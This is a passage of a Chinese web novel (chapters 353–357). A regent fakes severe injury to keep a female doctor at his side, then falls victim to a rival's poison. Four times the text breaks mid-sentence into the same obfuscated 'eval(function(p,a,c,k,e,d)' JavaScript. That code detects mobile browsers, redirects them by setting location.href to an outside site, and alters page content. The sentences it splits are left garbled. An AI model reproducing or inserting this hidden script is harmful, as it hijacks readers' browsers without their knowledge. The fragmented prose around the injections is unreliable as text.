“王……”他刚开口,便察觉失言,立刻改口,“……大人他身上的外伤确实骇人,失血也多,不过万幸,并未伤及心肺等要害。再加上王……姑娘你之前给他服用了‘龙血茧’止住了血,想来只要好生静养些时日,应该……” “无大碍”三个字还卡在喉咙里,床上本该昏迷不醒的萧凌川突然剧烈咳嗽起来。 一口暗红色的浊血从他口中流淌而出,溅落在雪白的被褥上,宛如雪地里绽开的一朵妖异的红梅。 姜姝宁的脑子“嗡”地一声,整个人都懵了,呆呆地看着那滩刺目的血迹,身体控制不住地发起抖来。 “大夫!”她声音都变了调,“您不是说他没有伤到内脏吗?!怎么会吐血?!” 孙神医也惊得不轻,脸上的从容镇定瞬间被错愕取代。 这脉象明明平稳有力,绝非内腑受重创之相,怎么会…… 他正要俯身重新为萧凌川把脉,却见本该再度陷入昏迷的男人,忽然掀开了眼皮。 那双深邃的桃花眸,此刻正一瞬不瞬地盯着他,眼神冰冷、锐利,充满了毫不掩饰的警告与压迫。 孙神医的心咯噔一下,瞬间明白了什么。 他僵硬地收回手,背对着姜姝宁,不着痕迹地轻咳了两声,掩饰住脸上一闪而过的尴尬。 再开口时,他的语气已经变得沉重而迟疑:“唉,方才……是老夫诊断错了。” 他转过身,满脸沉痛地对上姜姝宁那双写满惊慌的眼睛,沉重地叹了口气:“王……大人他……内伤极重,五内俱焚,恐怕……恐怕比老夫想的要凶险得多。这往后的日子,想来得多加照顾才是啊!” 第353章 他想念她红唇的滋味 第三百五十三章他想念她红唇的滋味 孙神医的话让姜姝宁既心疼又内疚。 都是她的错。 是她一意孤行,非要去摘山崖上的“红莲”,才连累了萧凌川。 若不是为了救她,他怎么会滚落山崖? 若不是为了护着她,他又怎么会被狼群**,受了这么重的伤? “都是我不好……”姜姝宁泪水像断了线的珠子,不受控制地滚落,“若我不是非要去……大人他也不会……” 躺在床上的萧凌川,眼皮下的眼珠几不可察地动了动。 她的哭声像一根根细密的针,扎得他心口发麻发疼。 他费了这么大劲,不是为了让她在这儿哭成个泪人儿的。 一道冰冷而极具压迫感的视线,精准地射向孙神医。 别让她哭了。 再哭下去,他装不下去了! 孙神医后背一僵,接收到自家王爷的无声指令,头皮都快炸了。 他实在不擅长干这种合伙骗人的勾当。 “咳!”孙神医连忙清了清嗓子,出声安慰道,“王……姑娘,你也别太自责了。事已至此,自责无用啊。既然大人伤得这么重,你不如就留在他身边,好生照料,这才是眼下最要紧的。说不定,有你陪着,他恢复得还能快些。” 姜姝宁胡乱地用袖子抹了一把脸上的泪痕:“您说得对!只要我悉心照顾,大人他肯定会好起来的!大夫,有什么需要我做的吗?您尽管吩咐!我的医术虽然不算顶好,但施针、熬药、包扎伤口这些都会,照顾病人更是没问题的!” 孙神医心里暗自思忖。 让她施针熬药?那可不行。 这丫头会医术,万一真让她上手,看出王爷这脉象强健有力得能打死一头牛,那他帮王爷撒的谎岂不是不攻自破? 孙神医故作沉吟,捋了捋花白的胡须:“药方老夫会开好,熬药自有下人去做。姑娘你……你就留在这里守着大人吧。他身上出了许多汗,你帮他擦拭一下身子,再就是按时换药。这些活儿细致,交给你老夫也放心。” “是,大夫,我就留在这里照顾他!”姜姝宁想也不想地应了下来。 孙神医见状,如蒙大赦,连忙拎起自己的药箱:“那……老夫还有些别的药材要去处理,就先行告辞了!姑娘若有事,再派人来寻我!” 话音未落,他已经一溜烟地跑了出去,背影瞧着竟有几分落荒而逃的狼狈。 这地方他是一刻也不想多待了! 陪着王爷演戏,真是要了他半条老命! 姜姝宁起身去打了盆温水来,将毛巾浸湿,拧得半干。 屋内的光线有些昏暗,她凑到床边,小心翼翼地解开萧凌川的上衣。 他胸膛和手臂上缠着厚厚的绷带,即使如此,那结实流畅的肌肉线条依然若隐若现。 她的指尖无意中划过他温热的皮肤,像被火烫了一下,猛地缩回手。 脸颊瞬间烧了起来。 她定了定神,暗骂自己都什么时候了,还想这些有的没的。 她重新拿起毛巾,动作轻柔,细细地为他擦拭额头、脖颈和没有被绷带覆盖的胸膛。 装睡的萧凌川,几乎要舒服得呻吟出声。 她的动作很轻,带着一丝微凉的水汽和她身上独有的淡淡馨香,拂过他的皮肤,激起一阵细微的战栗。 他能感觉到她温热的呼吸喷洒在他的颈侧,痒痒的,撩得他心神不宁。 这种感觉,比世间任何良药都管用。 给他换好药,重新包扎好伤口,姜姝宁已经累出了一身薄汗。 她坐在床边,看着他苍白的睡颜,心里又是一阵抽痛。 就在这时,床上的男人睫毛颤了颤,发出了一声极其微弱的呻吟。 “大人?”姜姝宁立刻俯身过去,轻声唤道,“您醒了?” 萧凌川缓缓睁开眼,那双深邃的桃花眸此刻蒙着一层水汽,显得迷茫又脆弱。 他虚弱地看着她,嘴唇翕动了几下,才发出沙哑的声音:“姜……女医……” “我在!”姜姝宁连忙应声,“大人,您感觉怎么样?是不是哪里不舒服?还是要什么?您尽管说。” “本官……渴……”他每一个字都说得极其艰难,仿佛耗尽了全身的力气。 “我马上去倒水!”姜姝宁立刻起身,为他倒了一碗温水,又小心地扶起他的上半身,让他靠在自己怀里。 她一手端着碗,一手拿起勺子,舀了一勺水,小心翼翼地送到他唇边。 可他似乎连张嘴的力气都有些不足,水顺着他的嘴角流下,打湿了前襟的衣料。 姜姝宁不放弃,又试了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395215|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次。 这一次,他勉强喝进去一点,但更多的还是漏了出来,很快,下巴和胸前便湿漉漉一片。 萧凌川佯装无奈,虚弱地长叹了口气:“罢了……本官……不喝了……” “那怎么行?您失血过多,身子虚,当然要多喝水!”姜姝宁急了,放下碗,脸颊上浮起两团可疑的红晕,声音也低了下去,“若……大人不介意,民女……倒是有个法子……就是……嘴对嘴喂……” 最后几个字,她说的声如蚊呐。 萧凌川的心脏猛地一跳,眼神瞬间亮了起来。 他努力掩饰住眼底的狂喜,依旧用那副虚弱得快要断气的腔调,急切地说道:“本官自然不介意!本官真的……好渴……姜女医,你快……快喂本官喝水吧!” 他一边说着,一边目不转睛地盯着她那微微泛着水光的红唇。 她还不知道,他早就命人在她的饮食里加了易容丸的解药。 这几日下来,她那张平庸的脸已经渐渐褪去伪装,眉眼间依稀有了从前清丽动人的影子。 他已经太久太久没有尝过她红唇的滋味了,想念得快要发疯。 姜姝宁看着他急切又脆弱的模样,心一横,点了点头:“好!大人您稍等我一下!” 说完,她将他小心地放平,转身快步走了出去。 萧凌川躺在床上,一颗心砰砰直跳,既紧张又期待。 她这是害羞了? 也是,毕竟是女儿家。 他耐心地等着,脑子里已经开始不受控制地想象着接下来会发生的场景。 她柔软的唇瓣,清甜的气息…… 没过多久,姜姝宁回来了。 只见她手里拿着一根约莫一尺长,通体翠绿,手指粗细的植物茎秆。 “大人,您看!”她献宝似的将那根茎秆举到他面前,“我在屋外头找的,这种植物的茎是中空的,最适合用来喂水喂药了!民女已经洗得很干净了,现在就来喂您喝水!” 说完,她将茎秆的一端放进水碗里吸了一口水,然后捏住,将另一端精准地抵在了萧凌川的嘴边,柔声道:“大人,张嘴。” 温水顺着中空的茎秆,准确无误地流进了他的嘴里。 一滴未漏。 萧凌川:“……” 他其实可以不必这么讲究的! 第354章 本官也想沐浴! 第三百五十四章本官也想沐浴! 虽然没能如愿以偿,可看着她笨拙却认真的模样,萧凌川心底那点小小的遗憾,很快就被一种更为汹涌的满足感所淹没。 她还在他身边。 这就够了。 为了让这份陪伴能长久一些,他觉得自己还得再“虚弱”一点。 夜深人静时,他私下召来了孙神医。 “孙神医,本王需要一味药。”萧凌川声音压得很低,眼神却锐利如刀,“能让脉象呈现内腑重创之相的药。” 孙神医大惊失色,胡子都跟着抖了抖:“王爷!万万不可啊!此等虎狼之药,名为乱脉散,实则是在透支脏腑精气,是药三分毒,这……这何止三分啊!” 萧凌川的表情没有丝毫动摇,反而透出一股不容置喙的坚决:“无妨。你只管开给本王就是。本王怕被姝宁看出端倪。她聪慧过人,若让她察觉本王是在装病,她定会立刻离去。到那时,就什么都晚了。” 孙神医看着眼前这位素来杀伐果断的摄政王,竟为了一名女子露出这般神情,心中百感交集。 他终是拗不过他,从药箱深处,取出一个小小的瓷瓶。 萧凌川接过瓷瓶,将里面的药丸吞下。 乱脉散入口,一股辛辣苦涩的味道瞬间炸开,紧接着,五脏六腑仿佛被一只无形的手在疯狂搅动、撕扯。 冷汗从萧凌川的额角渗出,很快浸湿了鬓发,他的脸庞迅速褪去血色,变得如纸一般苍白。 他咬紧牙关,将呻吟死死锁在喉咙里。 姜姝宁端着药进来时,看到的就是他蜷缩在床上,浑身不住轻颤的模样。 “大人!”她惊呼一声,连忙放下药碗,快步冲到床边,伸手去探他的脉搏。 那脉象混乱虚浮,时而如惊涛拍岸,时而又细若游丝,分明是心脉受损、气血大亏的征兆! 姜姝宁的眼眶一下子就红了:“大人,您心脉受损严重,这……这怕是要好生将养一段时日,身子才能恢复了。” 萧凌川强忍着腹中翻江倒海的剧痛,艰难地睁开眼,目光却精准地捕捉到她眼底的担忧。 他虚弱地扯了扯嘴角,声音沙哑:“那……姜女医……会留下来照顾本官吗?” “自然会!”姜姝宁俯下身,替他掖好被角,动作轻柔,“大人是为了救民女才受的伤,是民女的救命恩人,民女怎能坐视不理?大人放心,民女一定照顾您,直到您身体完全好起来为止!” 她的承诺像一剂强心针,让萧凌川觉得心口那翻江倒海的剧痛都减轻了几分。 他抓住机会,又虚弱地轻咳了两声,抛出了真正的诱饵:“可……本官此次来南朔,乃是为公务……过些时日,便要启程回京城了……你……” “大人不必担心!”姜姝宁立刻接话,“若大人要回京城,民女便陪您一同回去,直到您身体彻底恢复为止!” 只要能将小邺君带在身边,去哪里对她来说,又有什么分别呢? 听到这个梦寐以求的承诺,萧凌川几乎要笑出声来。 腹中那点疼痛与此刻的狂喜相比,简直不值一提。 她肯跟着自己回京城,哪怕自己吃再多的苦,他都甘之如饴。 姜姝宁对这一切算计一无所知,只是尽心竭力地照顾着这个为救自己而“重伤”的男人。 不久,她便从衙役口中得知,那日救下萧凌川的,是一名唤作凌芜的女暗卫。 若非她拼死相护,萧大人恐怕早已惨遭姜天泽毒手。 而凌芜自己却被毒粉伤了双眼,如今生活已然无法自理。 姜姝宁听后,心里很不是滋味。 她找到孙神医,主动请缨:“孙神医,凌芜姑娘的伤便交给我吧。我是女医,照顾起女病患来,总归更得心应手些。” 孙神医点头应允。 凌芜的房内弥漫着一股淡淡的药味。 她双眼蒙着厚厚的纱布,了无生气地坐在床沿。 看不见的日子,每一分每一秒都是煎熬。 “吱呀——” 轻微的推门声响起,凌芜浑身一僵,耳朵警惕地竖起,手下意识就摸向了枕下的**,声音里充满了戒备:“是谁?” “凌芜姑娘,是我。”一个温和的女声传来,“我是姜宁,姜女医。” “姜……”凌芜的身体瞬间绷紧,差点脱口而出“王妃”,但想起萧凌川的叮嘱,她硬生生改了口,“……姜姑娘。你找我,有事?” “我是来照顾你的。” “照顾我?”凌芜惊讶不已,连连摆手,“奴婢何德何能……不用了,姜姑娘,您照顾好大人就行。我……我自有其他人照料。” “你伤在眼睛,许多事都不方便。这衙门里,眼下就我一个女医,还是我来照顾你吧。”姜姝宁走到了床边,手轻轻搭上了她的手背,“我听说你回来后还未曾沐浴,南朔天气湿热,想必十分难受。不如,我先帮你宽衣沐浴,可好?” 南朔的夏日,黏腻得让人发疯。 凌芜素来爱洁,一日不沐浴便浑身不自在。 可如今眼睛受伤,实在不便,只能生生忍着,也从未想过去求人帮忙。 她没想到,姜姝宁竟会为她想到这一层,顿时感动不已。 王妃果然和从前一样,温 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不等姜姝宁开口,他便抢先发难,声音里带着几分不易察觉的委屈和理直气壮:“本官也想沐浴!” 姜姝宁端着盆的手一顿,语气尽量温和:“大人,您身上那么多伤口,还有几处深的见了骨,最好不要碰水,以免伤处溃烂。” “南朔天气如此湿热,本官日日流汗,再不沐浴,本官都要馊了!” 萧凌川才不管什么伤口不伤口的,他只知道她亲手伺候了别人沐浴,而他这个为了救她差点丢了半条命的男人,却只能躺在这里发馊。 他越想越不平衡,转头看向一旁正在检查药箱、尽量降低存在感的孙神医,声音拔高了些:“孙大夫,您说呢?本官这情况,是不是该清洁一下?” 被点名的孙神医背脊一僵,眼角控制不住地抽搐了一下。 王爷,您要点脸吧! 为了让王妃只照顾您一人,什么离谱的要求都能提得出来。 他心中腹诽,面上却不敢露出半分,只能硬着头皮附和道:“王……大人说得有理。适当沐浴确实对身体有好处,只是不能用寻常的热水。最好在水里放些舒筋活血、强身健体的药材,借着水汽让药效渗入肌理,这样身子反而好得快些。” 话音刚落,萧凌川立刻抓住了机会,病弱的脸上漾开一丝得逞的笑意,目光灼灼地看向姜姝宁,语气不容置喙:“那便有劳姜女医,伺候本官泡药浴了。” 姜姝宁:“……” 所以她的意见是一点也不重要吗? 第355章 还不足以让她心动 第三百五十五章还不足以让她心动 他们一唱一和,将姜姝宁的话堵在嘴边。 她无奈,只能应下。 她原以为,最多就是备个大浴桶,哪知衙门里的人竟直接将他们带到了后院一处引了温泉水的大浴池。 她眼睁睁看着孙神医开出的那些名贵药材,一包一包,跟不要钱似的被下人撒进池子里。 人参,灵芝,还有许多她只在医书上见过的珍稀药草,就这么化作一池浓郁的棕褐色药汤,咕嘟咕嘟冒着热气。 她心都在滴血。 这一池子水,怕是能换南朔城里一栋像样的宅子了。 寻常百姓家,一辈子也见不到这么多银子。 这个景大人到底什么来头,竟奢侈到这般令人发指的地步! 水汽氤氲,将萧凌川那张本就靡丽得过分的脸,衬得愈发模糊不清,像是隔着一层轻纱的妖魅。 姜姝宁强迫自己收回视线,蹲下身,小心翼翼地为他处理伤处。 她先用干净的布巾蘸了药酒,将他背后几道深可见骨的伤口周围仔细擦拭干净,然后取了特制的药膏,厚厚涂抹一层,最后再用几层纱布紧紧缠绕固定。 她的指尖不可避免地触碰到他温热紧实的肌肤。 不同于伤处的狰狞,他身体的其他地方,线条流畅而充满力量,每一寸肌理都仿佛是上天最完美的杰作。 但隔着薄薄的衣衫是一回事,如今这般近(乎)赤裸地呈现在眼前,又是另一回事。 她的脸颊不受控制地烧了起来,心跳也乱了章法,像揣了只扑腾翅膀的雀儿,撞得她胸口发麻。 “姜女医。” 头顶上方传来他低沉含笑的声音,带着一丝刻意的沙哑,像羽毛轻轻搔刮着她的耳膜。 姜姝宁猛地一颤,手里的纱布险些掉进水里。 萧凌川满意地欣赏着她这副惊弓之鸟的模样,微微倾身,温热的气息拂过她的发顶,带着浓郁的药香和独属于他的清冽味道。 “你可要为本官包扎仔细些,万一待会儿不小心沾了水,伤口发炎,那可就麻烦了。” 怕沾水还泡什么药浴? 姜姝宁暗暗腹诽,面上却不敢显露半分。 待一切处理妥当,萧凌川便在她的搀扶下,缓缓浸入池水中。 温热的池水将他包裹,他舒服地喟叹一声,靠在池壁的巨石上,闭上了眼。 姜姝宁如蒙大赦,立刻退到几步开外,背对着他而立。 她不敢再看他,可身为医者的责任心又让她放心不下,只能时不时地从假山缝隙里偷偷瞄上两眼,确认他没有因为泡澡而引发伤口不适。 池子里一时间静谧无声。 这过分的安静反而让气氛变得更加暧昧不明。 萧凌川见她如此避嫌,反倒腾升起逗弄的心思。 他故意发出一声压抑的痛呼。 “唔……” 姜姝宁心头一紧,也顾不上什么男女大防,几步冲到池边,急切地问道:“大人,您怎么了?是伤口疼吗?” 萧凌川靠在池壁上,眉头紧锁,脸色似乎比方才苍白了几分,额上渗出细密的汗珠。 他没有睁眼,只是虚弱地抬起一只手,指向自己的后背:“好像……是纱布松了,水……渗进去了……” 姜姝宁顿时急了。 这要是伤口浸了药汤,非得溃烂不可! 她来不及多想,俯下身去,探手想要检查他背后的纱布。 就在她的指尖即将触碰到他后背的瞬间,那只原本虚弱抬起的手,却用力地抓住了她的手腕。 一股巨大的力道传来,姜姝宁惊呼一声,整个人便失去了平衡,直直地朝着池子里栽了下去! “扑通!”一声,水花四溅。 温热的池水瞬间浸透了她全身的衣衫,紧紧贴在身上,勾勒出玲珑的曲线。 她呛了好几口水,在水中胡乱扑腾着,视野一片模糊。 下一刻,一只强有力的手臂环住了她的腰,将她从水中捞起,紧紧地带入一个滚烫的怀抱。 她撞进了一双深邃如夜空的桃花眸里,那双眸子此刻正漾着她看不懂的漩涡,仿佛要将她的灵魂都吸进去。 水珠顺着他的发梢滴落,划过他完美的下颌线,最后隐没在锁骨处。 他离得那样近,近到她能清晰地看见他长而卷的睫毛上挂着晶莹的水汽,能感受到他灼热的呼吸喷洒在自己的唇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397500|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 时间仿佛在这一刻静止了。 他的头缓缓低下,那两片薄而诱惑力十足的唇,就要印上她的。 就在此时,一个名字如同惊雷,在她混乱的脑海中炸响—— 姝宁。 之前在树上,他陷入昏迷前曾满怀深情地喊出这个名字。 一盆冰水兜头浇下,瞬间浇熄了所有暧昧与旖旎。 姜姝宁猛地清醒过来。 他心里早就有了念念不忘的心上人,而她,一个连真容都不敢示人的卑微女子,又有何资格奢望他的垂怜,与他纠缠不清? 她用尽全身力气,一把将他推开,趁他因伤口被牵动而吃痛的间隙,手脚并用地爬出了浴池。 “大人若还需要民女,再喊便是!” 她丢下这句话,头也不回地冲了出去,背影里写满了仓皇与决绝。 池水中,萧凌川看着她落荒而逃的背影,伸出的手僵在半空。 胸口被她推搡的地方隐隐作痛,却远不及心口那突如其来的空落。 水波渐渐平息,倒映着他脸上毫不掩饰的失落。 他明明以救命恩人的身份重新闯入了她的世界,为她身受重伤,给她旁人无法企及的特殊对待,为什么她还是不愿接受自己? 难道这样,还不足以让她动心吗? 一股难以言喻的挫败感袭上心头,萧凌川闭上眼睛,深深叹了口气。 另一边,姜姝宁几乎是逃回了自己的房间。 她反手“砰”地一声关上门,背靠着门板,大口大口地喘着气。 湿透的衣服黏在身上,沉甸甸的,带着一股不可名状的燥热。 她懊恼至极,方才自己差点在景大人暧昧撩人的目光注视下迷失了自己。 她一边脱下湿衣,一边在心里狠狠唾骂自己。 简直不自量力!自取其辱! 换上干爽的衣物后,她走到铜镜前,想整理一下散乱的头发,却在看清镜中人影的瞬间,整个人都僵住了。 镜子里那张脸…… 怎么越看,越像她本来的模样了? 她分明有定时服用姜天泽留给她的易容丸。 难道易容丸失效了吗? 第356章 他们的关系又落回了原地 第三百五十六章他们的关系又落回了原地 她打开那个熟悉的药瓶,准备将这枚能改变容貌的药丸送入口中时,手却猛然顿在了半空。 镜中那张逐渐恢复本来轮廓的脸,让她心头涌上一股说不清道不明的滋味。 是自嘲,更是孤注一掷的豪赌。 若景大人果真只是迷恋她这张平平无奇的易容假面,才对她生出几分兴趣,那不如让他一睹她的真容。 如此,也好让他清醒过来,更让她自己彻底断了念想。 她将那粒药丸扔回瓶中,盖上瓶塞,随手丢进了妆奁的角落里。 从那天起,一切似乎都没变,又似乎什么都变了。 她依旧每日天不亮就起床,为萧凌川准备清淡而滋补的药膳,亲自监督他服药,为他换药。 在她的精心照料下,他的伤口逐日愈合,连带着他苍白的脸色也渐渐红润起来。 可他敏锐地察觉到,那道无形的墙,又被她重新筑了起来,而且比以往任何时候都更高,更厚。 她会端来汤药,放在他手边的桌上,然后立刻后退两步,垂手侍立。 “大人,请用药。”声音平淡,没有一丝波澜。 他会接过药碗,故意放慢喝药的速度,试图用眼神留住她片刻。 可她的目光永远落在地面,固执地不与他对视。 “姜女医,”他唤她,声音里带着自己都未察觉的试探与渴求,“过来,陪我说说话。” 她会顺从地走近,却始终保持着一个不远不近的距离,一个礼貌而疏远的距离。 “大人想说什么?” 恭敬的态度宛如一根根细小的针,扎得他心口发闷。 他们之间的关系,仿若历经千山万水、九死一生,却最终绕了一个巨大的圈,又落回了原点。 萧凌川有些绝望。 他觉得自己就像一个对着棉花挥拳的莽夫,用尽了力气,却只换来一片沉闷的寂静。 他郁闷得快要发疯,可对着她那张愈发清丽冷漠的脸,竟是一句重话也说不出口。 这份压抑的气氛中,只有凌芜的眼睛一天天好转,给这沉闷的院落带来一丝生机。 终于,在凌芜能够清晰地看见眼前三尺内的人影时,萧凌川提出了回京的决定。 “南朔之事已了,我在此地耽搁太久,朝中怕是已经乱了套。”他在饭桌上宣布这个消息,目光却不自觉地飘向姜姝宁,“是时候回京了。” 他心里藏着一丝连自己都不敢深究的期望。 或许,换个环境,带她回到他熟悉的世界,日复一日地相处下去,总能将她心头那块坚冰融化掉。 姜姝宁只是安静地听着,手里给人布菜的动作停顿了一下,随即又恢复如常。 她没有抬头,只是轻轻“嗯”了一声,应道:“民女知道了。” 没有疑问,没有欣喜,也没有抗拒。 平静得仿佛只是在听一件与自己毫不相干的事。 在凌芜的帮助下,她开始默默地收拾行囊,将她和小邺君的物件分门别类,打包得整整齐齐。 离别的这天夜里,月色如水,晚风微凉。 衙门后院里已经备好了马车,只等用过最后一顿晚饭,便连夜启程。 桌上的菜肴很简单,是姜姝宁亲手做的。 她站在一旁,看着萧凌川用膳。 萧凌川正准备开口让她陪他一起吃,忽然脸色一白,猛地捂住了胸口。 “呃……” 一声痛苦的闷哼,他身子一晃,手里的碗“哐当”一声摔在地上,四分五裂。 “大人!”姜姝宁脸色大变,立刻上前扶住他摇摇欲坠的身体。 “噗——” 一口黑色的血液从萧凌川口中喷涌而出,溅落在干净的桌布上,触目惊心。 他整个人软倒在姜姝宁怀里,接二连三地呕出黑血,俊美的脸庞迅速被一层死灰色笼罩,呼吸也变得微弱起来。 “快!快叫孙大夫!”姜姝宁抱着他沉重的身躯,声音因恐惧而颤抖。 整个衙门瞬间乱成一团。 孙神医被请来时,萧凌川已经陷入了昏迷,气息奄奄。 冰冷的银针刺入穴位,苦涩的解毒丸被强行灌下,可萧凌川的情况没有丝毫好转,反而唇色愈发青紫。 姜姝宁守在床边,看着他毫无生气的脸,一颗心像是被泡在冰水里,又冷又痛。 她揪住孙神医的袖子,急切地问:“孙大夫,大人他……他中了什么毒?可有法子医?” 孙神医捻着胡须,眉头拧成了一个死结,神色是前所未有的凝重:“老夫已经给大人服下百解丹,寻常**按理说绝伤不了他分毫。可这毒……太过蹊跷,老夫从未见过。如今根本看不出是何种成分,也就没法子对症 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397501|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下药,配出相应的解药。再这样下去,大人恐怕……” 后面的话,他没说出口,但那沉重的叹息已经说明了一切。 姜姝宁的脑子“嗡”的一声,一片空白:“看不出成分?不是寻常的毒吗?” “绝不是。”孙神医点头,语气笃定,“此**性霸道,却又潜伏无声,定是新近才配置出来的奇毒。放眼天下,能有这般手段的,恐怕……就只有南月毒师能做到。” “南月毒师?”这个名号让姜姝宁心头一跳,一个念头瞬间闪过,她几乎是脱口而出,“莫非她是……” “不错。”孙神医看穿了她的心思,沉声证实,“她便是姜天泽的生母。此人善用天下奇毒,经她手调配的毒,向来都没有现成的解药。不过……” 他话锋一转,眼中闪过一丝微光,“若是能及时得到这**的配方,知晓其中成分,老夫或许可以倾力一试,为大人调制出相应的解药!” 听到这话,姜姝宁眼中熄灭的火光重新燃起。 “这件事交给我来处理!”她站起身,声音不大,却透着一股不容置喙的决绝,“我一定让姜天泽,把**的方子交出来!” 孙神医闻言大惊失色:“姜姑娘,你要去找姜天泽?万万不可!大人之前千叮咛万嘱咐,绝不能让你离开衙门半步!” 姜姝宁望向门外沉沉的夜色,那夜色深处,仿佛蛰伏着一头择人而噬的猛兽,伺机而动。 她语气坚定:“如今大人**,命在旦夕,没有时间再犹豫了!” 孙神医无奈,只能嘱咐道:“南月母子诡计多端,姜姑娘此行千万小心,切莫中了他们的圈套!” “孙大夫您放心,我一定会将**的方子拿到手!您……请务必保住大人的性命,等我回来!” 她转身踏入夜色。 刚走出衙门没几步,便瞥见巷角阴影中伫立的姜天泽。 他似是早已算准了她的到来,倚着墙,唇角勾着一抹邪肆的笑,眼中却藏着让人不寒而栗的阴鸷。 “阿宁,你终于来了。”他的声音低哑,带着几分戏谑,仿佛猎人看着落入陷阱的猎物。 姜姝宁停下脚步,目光冷冽如刀,直刺向他:“大人中的毒,是你下的?你为何要这么做?” 姜天泽缓缓直起身,笑意愈发浓烈,眼中却闪过一抹扭曲的疯狂:“若我不这样做,阿宁怎么会来找我?” 第357章 一切尚存回旋的余地 第三百五十七章一切尚存回旋的余地 姜姝宁只觉一股寒气从脚底直冲头顶,浑身的血液都像是要冻结了。 她难以置信地看着眼前这个男人,他唇边的笑意如同暗夜里绽开的毒花,妖冶却致命。 “你做如此丧心病狂之事,就是为了引我出来?”她的声音控制不住地发颤,“景大人和你无冤无仇,你为何要这般对他?天泽,我不知道,原来你是这般草菅人命之人!” “谁说他跟我无冤无仇?”姜天泽脸上的笑容瞬间消失,取而代之的是一种几乎要满溢而出的恨意,那恨意浓烈得如同实质,在阴暗的巷子里搅动着令人窒息的阴冷。 他往前踏了一步,周身的气场变得暴戾而危险。 “杀父之仇,夺妻之恨,不共戴天!” 每一个字都像是淬了毒的冰锥,狠狠扎进姜姝宁的心里。 “杀父之仇?”她眉头紧紧蹙起,“你父皇不是萧凌川杀的吗?这和景大人又有何干系?” 姜天泽定定地看着她,那双原本应该清澈的眼眸此刻晦暗不明,像是一潭深不见底的死水,里面藏着太多她看不懂的秘密和疯狂。 萧凌川居然还没告诉她他自己的**。 也对,堂堂摄政王,孤身一人潜伏到南朔这种边陲之地,若是轻易暴露了身份,怕是早就尸骨无存了。 姜天泽也不想让她知道。 他不敢去赌,不敢赌她知道了真相后,会不会看在他们二人孩子的份上,选择回到那个男人身边。 他输不起。 “我说的是我的养父。”姜天泽面无表情地编造着谎言,声音平直得没有一丝波澜,“我那在大邺京城的养父,便是死在他手里。” 姜姝宁被这个突如其来的信息砸得有些发懵,但她立刻抓住了话里的另一个重点。 “那你说的夺妻之恨……”她几乎是脱口而出,眼中带着一丝纯粹的困惑,“难道,你的心上人也叫姝宁?” 听到这话,姜天泽心中那根紧绷到极致的弦,骤然松了一下。 她还不知道,她就是姜姝宁本人。 还好,一切尚存回旋的余地。 他朝着她又走近了一步,两人之间的距离缩短到触手可及。 巷子里的风吹起他额前的碎发,他眼中的暴戾和阴鸷悄然褪去,换上一种刻意营造的缱绻深情,声音也随之变得低哑,带着蛊惑人心的磁性:“阿宁,我的心上人,从始至终都是你。” 那目光太过灼热,像是有形的火焰,舔舐着她的肌肤,让她浑身都不自在。 姜姝宁下意识地后退了半步,脸上掠过一丝显而易见的抗拒。 “天泽,我们并非夫妻,这件事我们都心知肚明。”她的声音冷了下来,像是在提醒他,也像是在提醒自己,“况且,景大人已经有了心上人,我和他之间清清白白,没有任何关系。” “我不信!”姜天泽的情绪再次激动起来,他猛地逼近,将她所有的退路都堵死,“若真如此,他为何将你囚在身边,迟迟不让你离开!” 这一次,他离得太近了。 巷口昏黄的灯笼光影斑驳地落在她脸上,他能清晰地看到她每一根颤动的睫毛,以及……那张正在悄然发生变化的脸。 他眼瞳骤然一缩,脸色陡然变得极其难看,“你的样子,怎么越来越不像易容后的模样了?” 姜姝宁的心跳漏了一拍,目光控制不住地闪烁了一下:“我停服了易容丸。” “那怎么行!”姜天泽的声音陡然拔高,里面满是压抑不住的惊惶,“若是……” 若是被萧凌川看到她易容前的模样,他肯定不会放她离开的! 他后面的话几乎差点吼出来的。 一想到那种可能,一想到那个男人会再次将她从自己身边夺走,他就感觉自己快要疯了。 不行!绝不可以! 这个念头如同一道惊雷在他脑中炸开,他陡然变得激动起来,一把死死拉住姜姝宁的手腕,“不行,你必须现在就跟我离开!” 他的力气大得吓人,像是铁钳一样,捏得她腕骨生疼。 “我可以和你离开!”剧痛之下,姜姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 